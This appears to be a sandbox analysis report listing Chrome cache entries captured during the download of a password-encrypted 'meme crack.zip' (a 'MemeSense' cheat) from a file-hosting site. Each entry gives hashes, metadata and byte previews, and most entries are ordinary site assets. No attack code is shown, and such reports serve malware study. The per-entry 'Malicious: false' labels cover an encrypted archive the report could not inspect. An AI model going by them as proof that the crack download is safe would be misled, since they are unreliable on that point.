Preview:	wOF2.......h.......P............................... ..>.`....v..s.....h..o..<..6.$..t. .....!..8[.....C..K,.s.........e..3....T...}.64.......e......d"cv..K.".2D.....1w...2.j..&.S...q..LxX..Q&.I...,2.i.."..^.l&..<.....z...~.q...3.....)8.9.....&.D.7;"..[A7........X=. ....+..f^.r...4.i...W...i8;{.~5g...N.....m.i..i.......1.w.M+...x.../.......d...v..4....U......U..}o...+."$..T.R.. ..Z.k..W.....S.(..#.~.T.(~...vGI..NS......#YV.K...._....g.....\|@..C.#...g6...e.EX..."q..,)......$S.I..S...a%i..3!.K^...2,.4._=..DBE1(@...U<..K..f.#......5.........66......U....X.U.....o.X\|..o...C._.)..v.J.8..n.O.QE.N..!E..Sy.>.+.U....B;...rL.x.h_k.W..........3B..8..O..).N.r.d..R.C......\...UtT..E..r{.to...~.....m_H&'....]. Z..A,.O.....8..../-5.Ot....\|\|....^.o...N...:7:?.......*?.....VM.7M..f9.....=u.p.,.......~.+..;p.).n._..GYb..$a+.._R...PU5.-...%I`..;.).....6.&..<..r9l....x..a..C.......\O..\|9^Y.YIV..$IF..I.....\.Cd,,.....k..%..!z.x.&...S.G...F....,.2......^"i8...vZ.!

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, CFF, length 56108, version 1.0
Category:	downloaded
Size (bytes):	56108
Entropy (8bit):	6.26938440516179
Encrypted:	false
SSDEEP:	768:tImTAHYFg71fAWsOKi5qSy5LBaK+mn2noN5IO3RCtebWA8ipCWUa:GmTp0gpBpv2a58oSA81
MD5:	A1ECC3B826D01251EDDDF29C3E4E1E97
SHA1:	9394F35BD2ADDD24666B79BFC36D4F9D247CB01D
SHA-256:	0DB5C5A1475EB7A3E5028983EA1E642D1B2C00FAFF6A250A37502B0F3832A4A7
SHA-512:	2329063D667B5480A2862FE4E11154B4DABF3B8782FD67BE79EBFE55BFDA96E28E70F8F438F73C7EF9901AFCB16370897C3022C8B649A33CB74459C610CCA00A
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/fonts/themify--fvbane.woff
Preview:	wOFFOTTO...,................................CFF .......4...4-+a^OS/2...(...`...`."..cmap......L...L.U.gasp................head.......6...6.i..hhea.......$...$...<hmtx...8..........'Tmaxp.............dP.name.......9...9U...post....... ... .............themify......:.............S.......S......g...z......................+..e................ .%../.4.9.>.C.H.M.R.W.\.a.f.k.p.u.z...................................................................$.)...3.8.=.B.G.L.Q.V.[.`.e.j.o.t.y.~.................................................................#.(.-.2.7.<.A.F.K.P.U.Z._.d.i.n.s.x.}.................................................................".'.,.1.6.;.@.E.J.O.T.Y.^.c.h.m.r.w.\|.................................................................!.&.+.0.5.:.?.D.I.N.S.X.].b.g.l.q.v.{................................................................. .%../.4.9.>.C.H.M.R.W.\.a.f.k.p.u.z...................................................................$.)...3.8.=.B.G.L.Q.V.[.`.e.j.o.t.y.~.....

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	75977
Entropy (8bit):	5.29012154608858
Encrypted:	false
SSDEEP:	768:x40jXiQelUFqaLN80uCV4tJoYIFA3Ekea0C3BAPoS+wOfZyQr7M6Hrx6:pjBg0r43AmIiUoSdOJrtY
MD5:	2008F61543A14BC0893A126F7C9736B6
SHA1:	1F796E95FDE22349D6226AEAD8D661B652D1310A
SHA-256:	291F515583A6C387346D142CAED7EFDA8F0630866C7FC9D0F026FD95AED50081
SHA-512:	EF5B000CB7C1EC306B6A39670054E6F78E159D1FBE7D34A71AACF801D1D7D7520F93DCC7214F83B5F122D585F9EE55E4DA76461DABC6BABC9DD317526D81589D
Malicious:	false
Reputation:	unknown
URL:	https://csync.smartadserver.com/diff/rtb/csync/CookieSync.min.js
Preview:	!function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c="function"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);throw(f=new Error("Cannot find module '"+i+"'")).code="MODULE_NOT_FOUND",f}c=n[i]={exports:{}},e[i][0].call(c.exports,function(r){return o(e[i][1][r]\|\|r)},c,c.exports,r,e,n,t)}return n[i].exports}for(var u="function"==typeof require&&require,i=0;i<t.length;i++)o(t[i]);return o}({1:[function(require,module,exports){"use strict";var __values=this&&this.__values\|\|function(e){var r="function"==typeof Symbol&&Symbol.iterator,t=r&&e[r],n=0;if(t)return t.call(e);if(e&&"number"==typeof e.length)return{next:function(){return{value:(e=e&&n>=e.length?void 0:e)&&e[n++],done:!e}}};throw new TypeError(r?"Object is not iterable.":"Symbol.iterator is not defined.")},Cloneable=(Object.defineProperty(exports,"__esModule",{value:!0}),exports.Cloneable=void 0,e.prototype.clone=function(){var e=this,r=new this.constructor;return Object.keys(this).forEach(function(t){v

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1429
Entropy (8bit):	4.922465736637762
Encrypted:	false
SSDEEP:	24:NEEqHaMEdaejaATAU7FYsXv4vEdyDxj5zKaUjM49j7jJXaAPdylj5zKzljMe3:NEDHajVjQUaDvEdCdzVUFlaAPdqdzY5
MD5:	B53436C6EC7E681A3EDCEC13F42EC715
SHA1:	0AA1B02B89E734193D43D6385EBC5939BB666FD0
SHA-256:	3B28DD2B4EDA9085EE35FB2AAE1D706C6D003C2521E4AD62BB2EF2E6969BCA83
SHA-512:	26012F31616624FE4E082265CD8828B9994B3AF733603353C9E468E35162368E0A8388D6D6944D8C9F10AF0A53C2CEC266786A6B7239C4B76356FBCC45698E86
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/js/ajax-subscribe.js
Preview:	$(document).ready(function () {.. var $form = $('#mc-embedded-subscribe-form').. if ($form.length > 0) {.. $('form input[type="submit"]').bind('click', function (event) {.. if (event) event.preventDefault().. register($form).. }).. }..})....function register($form) {.. $('#mc-embedded-subscribe').val('Sending...');.. $.ajax({.. type: $form.attr('method'),.. url: $form.attr('action'),.. data: $form.serialize(),.. cache: false,.. dataType: 'json',.. contentType: 'application/json; charset=utf-8',.. error: function (err) { alert('Could not connect to the registration server. Please try again later.') },.. success: function (data) {.. $('#mc-embedded-subscribe').val('subscribe').. if (data.result === 'success') {.. // Yeahhhh Success.. console.log(data.msg).. $('#mce-EMAIL').css('borderColor', '#ffffff').. $('#subscribe-result').css('color', 'rgb(53, 114, 210)').. $('#subscribe-result').html('<p>Thank

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	401
Entropy (8bit):	4.837566862377435
Encrypted:	false
SSDEEP:	6:YAdiZL+WRSafY5X5gMfAA4U3jvKAmE1bG4CaPtt3PRAD3PUJxaPRU:YqiYWRSafoJfAAx3jvKAF1bG4vRSUypU
MD5:	177BC28C5B523B4A5B6330FFF4BE1C59
SHA1:	D214D39E0B4084C22F8B569599175D02437CF716
SHA-256:	91AF474B459EE6CF04FDE868DAF5A6A25ADC5CF262CD5FAABC7A85E8DD54DFD7
SHA-512:	8EE200FB74644FEAF59AC48B5360E99D4BF308FADB1A501F458D65D03BC5F5C052BA0EA6E9081033092ECC13E6073589422A0653FD4472B50EE0B6112F07D761
Malicious:	false
Reputation:	unknown
Preview:	{"error":{"code":"request_format_invalid","message":"Required request body is missing: public org.springframework.http.ResponseEntity<io.id5.fetch.request.FetchResponseDto> io.id5.fetch.FetchController.multiplexFetchV3(io.id5.fetch.request.web.multiplexing.MultiplexingFetchRequestBody,jakarta.servlet.http.HttpServletRequest,jakarta.servlet.http.HttpServletResponse)","type":"invalid_request_error"}}

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	173385
Entropy (8bit):	4.9242113385701725
Encrypted:	false
SSDEEP:	3072:0rrS89W0dOOEEaVfPeVWeJi4U8tIdslVSIhNxFsxc0rZYhaP7jNOeuU8oGOAHBZV:0fS89W0dOOEEaVfPeVWeJi4U8tIdslV3
MD5:	43BBB018DBFB3C985D19043D1C7006FB
SHA1:	18A1B01D19FEA3901A9BB321427AE34C70D919A4
SHA-256:	8B40AF05F3B3D6374C0964E7561EA6A74F80230FFAD28B281D8D0772696EB344
SHA-512:	7642F61D5E7808CA36E5E4169F2E3BF73A9E5D47BB64EB15296062C535E4E7D65E150C5AC79784CD9F2890A22E4DA45776818CD0B89B6C89CB58C06164EEAF42
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/style.css?ver=6
Preview:	/* ============================================.Template Name: Slake.Template URI:.Description: Hosting HTML5 Template.Author:.Author URI:.Version: 1.0.===================================================..##CSS TABLE OF CONTENT.--------------------------------.1. THEME BASIC CSS.2. HEADER TOP STYLE.3. NAVIGATION STYLE.4. HOMEPAGE-1 SLIDER-1 STYLE.5. HOME PAGE 2 STYLE SLIDER.6. HOME 1 BG ANIMATION.7. HOME 2 CLOUD ANIMATION.8. DOMAIN- STYLE SECTION.9. SECTION-TITLE STYLE.10. BLOG-1 STYLE.11. PRICING TABLE STYLE.12. FEATURE ONE STYLE.13. FEATURE TWO STYLE.14. FUN FACT STYLE.15. SERVICE STYLE.16. REGISTER STYLE.17. TESTIMONIAL STYLE.18. BRAND AREA STYLE.19. CALL-TO-ACTION AREA STYLE.20. FOOTER AREA STYLE.21. FOOTER BOTOM AREA STYLE.22. DOMAIN CHECKER AREA STYLE.23. FAQ PAGE STYLE.24. ABOUT.HTML STYLE.25. TAB STYLE.26. WELCOME AREA STYLE.27. DOMAIN-SEARCH AREA STYLE.28. DOMAIN-SEARCH-NOW AREA STYLE.29. DOMAIN-FEATURE AREA STYLE.30. HOSTING AREA.HTML STYLE.31. CLOUD HOSTING.HTML STYLE.32. D

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	42
Entropy (8bit):	3.9297954712258907
Encrypted:	false
SSDEEP:	3:YWQRAA2neiI:YWQmveiI
MD5:	D31320B41A6A283815FB2F490B9F227F
SHA1:	E21F339A128F97ED4F85AA079661CEC810089DC6
SHA-256:	435B1ECE4A55F4F8D06866B32C1AEE3CC4661EB905265894795F15A57BF1B33D
SHA-512:	F6AEAB24B8BE1A17B061DFBD89EF67E669E9A57B4A39E6051467A4974C854E87DACDBCDAC9F4F129C5EDB3739BBE06D27E0D94528D8C6229FDC3848A43BCB047
Malicious:	false
Reputation:	unknown
Preview:	{"succeeded":false,"error":"Cookied User"}

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	unknown
Preview:	{}

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	86926
Entropy (8bit):	5.289105225399087
Encrypted:	false
SSDEEP:	1536:jLiBdiaWLOczCmZx6+VWuGzQNOzdn6x2RZd9SEnk9HB96c9Yo/NWLbVj3kC6tv:5kn6x2xe9NK6nC6N
MD5:	4B57CF46DC8CB95C4CCA54AFC85E9540
SHA1:	05E1AD0CC600A057886DEAF237AB6E3D4FCDB5AC
SHA-256:	A28CCF8A7B50522BDEEA0CD83CDECA221C18FC1F9DF3EE6B3D3C48D599206855
SHA-512:	A6996F5029858C6DE6DE30EDA54F8ACC47D9713CB1ADC576173CE8F75F79A2B944B9C04BFA55AD62829E705CEDE4FCB7C7C90785E8CD3E0252D79A186B1760A7
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/js/jquery.min.js
Preview:	/! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t\|\|r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?l[c.call(e)]\|\|"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 87a, 88 x 31
Category:	downloaded
Size (bytes):	420
Entropy (8bit):	7.064845842586568
Encrypted:	false
SSDEEP:	6:Fs5LM7g6ECzNVjxYfTprB2D4xGNvxBNHzbXqX+ksqEgs8nRuxmhPzXA3O:a52gQpV1Yfn2QGN/NHXhlqJs2o+ce
MD5:	B21BCF83B50B0A88B25C29900BDE1F8E
SHA1:	885C766F01572EDAFA75A1C7807D7CAFC9C9D775
SHA-256:	D2F6DD15433E0F7965D60EE929D3CE6EA94389EA78904F1C677AE833EA73D4B4
SHA-512:	BFF937834BA3B920E9E6BA65971BCEF207D64F4A724BDADC84C1463C4F053020B1EF90A9621D806B294F2EB4364F855D3BCED5CB0E9D5B082D3B2540B13E9A32
Malicious:	false
Reputation:	unknown
URL:	https://counter.yadro.ru/hit?q;t52.6;r;s1280102424;uhttps%3A//oxy.st/d/SmUh;hDownload%20file%20meme%20crack.zip%20on%20Oxy.Cloud;0.3200445255072193
Preview:	GIF87aX.........fff.............3..f.........................,....X........I..8..7.`(.di.hZJj.0....7..a..:JoW+..j...g.(.....Ak5..1.I.K&..)vLn..].6.d...~....l....~y..\|{......iM....x...z...............z.........AW......................................................u.........C.l.=h.(...pB0V....GO..z..f...?.Z.M,....f......Z05J.0'...8..i...,........g..b....k..y..S$b.j...jOJB...{..V.^..m...;

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65325)
Category:	downloaded
Size (bytes):	144877
Entropy (8bit):	5.049937202697915
Encrypted:	false
SSDEEP:	1536:GcoqwrUPyDHU7c7TcDEBi82NcuSELL4d/+oENM6HN26Q:VoPgPard2oENM6HN26Q
MD5:	450FC463B8B1A349DF717056FBB3E078
SHA1:	895125A4522A3B10EE7ADA06EE6503587CBF95C5
SHA-256:	2C0F3DCFE93D7E380C290FE4AB838ED8CADFF1596D62697F5444BE460D1F876D
SHA-512:	93BF1ED5F6D8B34F53413A86EFD4A925D578C97ABC757EA871F3F46F340745E4126C48219D2E8040713605B64A9ECF7AD986AA8102F5EA5ECF9228801D962F5D
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/slake/asset/css/bootstrap.min.css
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors. * Copyright 2011-2018 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). /:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace},::after,::before{box-sizing:border-box}html{font-family:sans

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 890, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	74560
Entropy (8bit):	7.802767503415719
Encrypted:	false
SSDEEP:	1536:JDQHZpFK0csucx8NgPZzb8BinbR5IGJEEYfyGQFdX45IaWTf:JDGZMDcNPR93msFJN7f
MD5:	CE2F90B81EE3A43F46C29223AD1D981B
SHA1:	B82B68C892BD7C8B0BF06A883F1BDCD8CA0121E5
SHA-256:	7B5C7BC066EB345C6C48189F960AD13FAC80ADD5B5769E2D7A1F59D82A382505
SHA-512:	85333D169F9815E608ECA91D3BA07B18AD6D121806CAEC0474FD73BCDF22CD0EC032058AE029FD8AC650667DF7A382C1FE186EC15F2E13B224A253E7D7C3C674
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......z.............tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:d24d0c60-723f-2345-942b-db2b0163c968" xmpMM:DocumentID="xmp.did:A23D7D97E1D911E8942BA7F01240A034" xmpMM:InstanceID="xmp.iid:A23D7D96E1D911E8942BA7F01240A034" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0fc79567-2ab2-1247-98b2-4ca18afdf3ca" stRef:documentID="adobe:docid:photoshop:c95dba4e-10c2-4f44-9edd-c0f063e16a4e"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>]._....RIDATx...]z.8.(

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 124 x 49, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2059
Entropy (8bit):	7.823522728741164
Encrypted:	false
SSDEEP:	48:W/6vktgFDyNqBERLBgY/Zu67F3n+Wy7J5tlLoOsDFJNd5PEYFbqwgI8c:WSvktgFDIqOJBPJIJ5nLoDD3NddEYIK9
MD5:	B08166A270B58C28D429BF2F9FFECE6C
SHA1:	91DAB55CBE8C802A7C56CD9D2FFAEE9CCEA4A49F
SHA-256:	A21A9FA89FB6DD8C8E84907A99B0374ABDF641C71C55E0283B7758E8F2A12507
SHA-512:	A2D7888492DD0F476A33AAB86B1D372AA9BFD204567B1AF124A1C086C8911F711E1DED079A9B7041CA02FA5622AFC2A31CD75F83F6DD2684F95A90381B868F58
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/images/sprite3.png
Preview:	.PNG........IHDR...\|...1.............sRGB...,.....pHYs.................IDATx...lOW..Q.3...c.y[....m1a6.=4..f..R....6l...5o..t.R.....-...o.R........9=......?..M>9.........m.H..x....M..w..$..3...7.c$l........B7o.A..af..an)...MNN^..... .n..e3.o...iIJMM....0.....Fqqqv=F...^.......b.V.kvAA.c.\G.....}.........cvRR.q.......I.....z..O....\|X.w.c....}.vC.v(..}..=.#...L..0[(..}...^........y..2.:..7.^...`..ZX........c+a.......]I...X....>\gM..3.?.......K.A.I.h.C...g..q..../L.BUV.I......p.I.a.PP..J0...h..4.....y...'8.R.q..G..S...#)..gR.....U.q.l..7..S....N....n.).].....z{../..!..2.Z"....y....-.\...C.......E..V..#k.....>'O...l6G.0@.C.....`..y....+3.-...<...]....g......X....{.5\.(..=.......'N.H`.}.45^.C..)..."..G....Y6^./...u......%.1#.*........O..oU... n`...Z....e<.=.i.....2....kr...e3..n......_.^.t^,.H..h..8\.t...6.........?.E......WTT.5.../...\|..#G..UL.....;.....i..W.B.w...Q.=..Ezz.ba...U....jv5...?N.....).........w...:u.<y..w.

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	downloaded
Size (bytes):	10692949
Entropy (8bit):	7.99986296835301
Encrypted:	true
SSDEEP:	196608:M2DQaY4OYWzhxvc0mNwNsvFOZ/cAuB2d8bJ2QSJ3yIbcc:MAhWdBcA9Rrnd8bJ2DJCIbcc
MD5:	03E39E86DF2AA553B7479DAFDC2007C3
SHA1:	B504C0D4B912BED2D94C448DA898D4FAA5E5ADA3
SHA-256:	A5B7903D6C4BC37E52F37B8BCA2BD713D4F4FB6D547E28DBE3BF9A946B9B0B48
SHA-512:	CCED3F6E63F38CDC06883CA01C4E64C2D5757F6248F53D4AC8B102DCAE7B6A8963E7BD80C8E23285CBEE137AF77A859CA296FCCB703A40AAA7A54AF02E29FE28
Malicious:	false
Reputation:	unknown
URL:	https://s1.oxy.st/get.php?cg=czozMjoiMDI4MmMwMWI2MjYxYzA2M2FhOTliYTRhZjU5NTk5NWUiOw%2C%2C&n=czoxNDoibWVtZSBjcmFjay56aXAiOw%2C%2C&c=czo2NDoiYTViNzkwM2Q2YzRiYzM3ZTUyZjM3YjhiY2EyYmQ3MTNkNGY0ZmI2ZDU0N2UyOGRiZTNiZjlhOTQ2YjliMGI0OCI7&t=1718442906
Preview:	PK.........L.X................meme crack/PK.........L.X................meme crack/MemeSense/PK.........L.X................meme crack/MemeSense/fonts/PK...........X...<...x/..(...meme crack/MemeSense/fonts/esp-icons.ttf.]......VL...}L>..K......Rff.)3...2.S.N.y...S..[......T.I.e.}.:.I.dI....~.+.mF7.. .e....nu.....G.....].&....:W}.$..Xw.7............""..y#<...s7.....j''............UU.-........z[.JEb..F....w..9.U.#.....m.pG.......UI....H....L-<:...I=fJ...H..G%..g.w....Q.......W..%.0.+.i.i<1.J.......\|....y."...-.w........E.tn.....Q&N..\|.XW..z..kw....K.+.k......`.o.......>z.b.O\......S.>}..^..W.....U.z.....5.%.....1..g.H.....-..J?`.....%..=.......E........,.S.sq...).zg....Yf..V-.-.YV.-..&O...Em.z}...$.'h$.9<...`..-..^u..~/.68=76.......r...'.f.{.Q.....7..Qv......s...h.A...1./.D..FNS.....ZZu_...M.APq.iF...jh...U.5U6t....YE.d...S9.U....W.t....z..9...MYA...Y..UMV.fp...\|..T...R....E....P..y...W.......}n...Z%.;..}..y.(\)..V..P.It...U.S....+*....RW.

Chrome Cache Entry: 286

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3927), with no line terminators
Category:	downloaded
Size (bytes):	3927
Entropy (8bit):	4.931545225755779
Encrypted:	false
SSDEEP:	48:Gsn4TnVjzYYP8UYGB5YODcIlO/V5oVXoWFWrWZWfWWj55GSw80s70IrnC7sATsXF:GHnpzYYMH/IlO/3DGBzOC7sATiEc7
MD5:	BFACB6B02EFF3EF2C33D4B93D390B2B7
SHA1:	625BAF85D1B0804EDE56F7CCE7ADDBABB34B2EF4
SHA-256:	A8EC9CE4D97E4D570B348E8A28115EE7AD56738F83AD9F99866BC7EBE62B646C
SHA-512:	363C7AF53673499E8F6A723198B29EA8557539C2780E89B834090867EC70FEC56E63F4D643CCF5A4CD31C11CD49CDDA72BDE1BADE79BC62CCB9F6E95F38B0B81
Malicious:	false
Reputation:	unknown
URL:	https://cdn.adlook.me/css/rlf.css?1.6
Preview:	.vdf-bg{position:absolute;padding:4px 6px;font-family:arial,verdana,sans-serif;font-size:12px;background-color:rgba(0,0,0,.5);color:#fff}.adlk-btn{cursor:pointer}.adlk-rounded,.vdf-rounded{-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.vdf-time{left:35px;top:6px;z-index:1000}.vdf-skip{right:10px;bottom:15px;cursor:pointer;z-index:2147483646}.adlk-menu .adlk-noev,.adlk-noev{pointer-events:none!important}.adlk-no-feat .adlk-wtm{display:none!important}.adlk-wtm{bottom:5px;left:5px;position:absolute;font-family:arial,verdana,sans-serif;font-size:10px;color:#fff;mix-blend-mode:difference;opacity:.6}.adlk-mob .vdf-bg,.adlk-mob .vdf-bg.adlk-time,.adlk-mob .vdf-cls.vdf-cls-txt{font-size:4vw!important}.adlk-mob.adlk-mob-horz .vdf-bg,.adlk-mob.adlk-mob-horz .vdf-bg.adlk-time,.adlk-mob.adlk-mob-horz .vdf-cls.vdf-cls-txt{font-size:4vh!important}.adlk-mob .vdf-bg.vdf-cls{width:5vw!important;height:5vw!important;background-size:80%}.adlk-mob .vdf-bg.vdf-cls.vdf-cls-txt{width:aut

Chrome Cache Entry: 287

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (460), with CRLF line terminators
Category:	downloaded
Size (bytes):	172319
Entropy (8bit):	5.210093003573971
Encrypted:	false
SSDEEP:	1536:cq7pbsm5dQmR/9ASeM6ujTGjtz5i1TIgGagdXNGS1mYHsF:zbsm5imR/99eM6ujTMtz5iYNGSzsF
MD5:	2641BB7B5248B040B9B696A5CBA73903
SHA1:	69EAC75BCD85195BD68A152E9E3C9E7E1B9A0E7A
SHA-256:	C7066B4E40703FA65CA027B5D72D2E5188A2AA63A71083192713EDD4146DD242
SHA-512:	4598BA959B2625EFD303A5182FFF809902D8F8D9BE472153507141CF64365665EC614416181BB6E29ACA4E491DAAA60F79BAE3EE9AFB201A9C17592DAEBB6512
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/css/elements.css?1
Preview:	@charset "UTF-8";...............preloder {.. position: absolute;.. width: 50px;.. height: 50px;.. border-radius: 15px;.. -webkit-animation: rotation 1s infinite;.. animation: rotation 1s infinite;.. z-index: 9;.. top: 50%;.. left: 50%;..}../...preloader-wrapper {.. background: #191d28;.. height: 100%;.. left: 0;.. position: fixed;.. right: 0;.. text-align: center;.. top: 0;.. width: 100%;.. z-index: 9999999;..}../...homepage-2 .preloader-wrapper {.. background: #eef1fb;..}...homepage-3 .preloader-wrapper {.. background: #eef1fb;..}.......preloder .shape {.. position: absolute;.. width: 20px;.. height: 20px;.. border-radius: 10px;..}...preloder .shape.shape-1 {.. left: 0;.. background-color: #4285F4;..}...preloder .shape.shape-2 {.. right: 0;.. background-color: #34A853;..}...preloder .shape.shape-3 {.. bottom: 0;.. background-color: #FBBC05;..}...preloder .shape.shape-4 {.. bottom: 0;.. right: 0;.. background-co

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.392582755590972
Encrypted:	false
SSDEEP:	3:YJH/RXJcmNorj:YJ/RXJcrP
MD5:	22BC37958F95BA15C8BD0894947ED4F8
SHA1:	795627D5563C193A70D1DD7829E33BB2D0A4ABBB
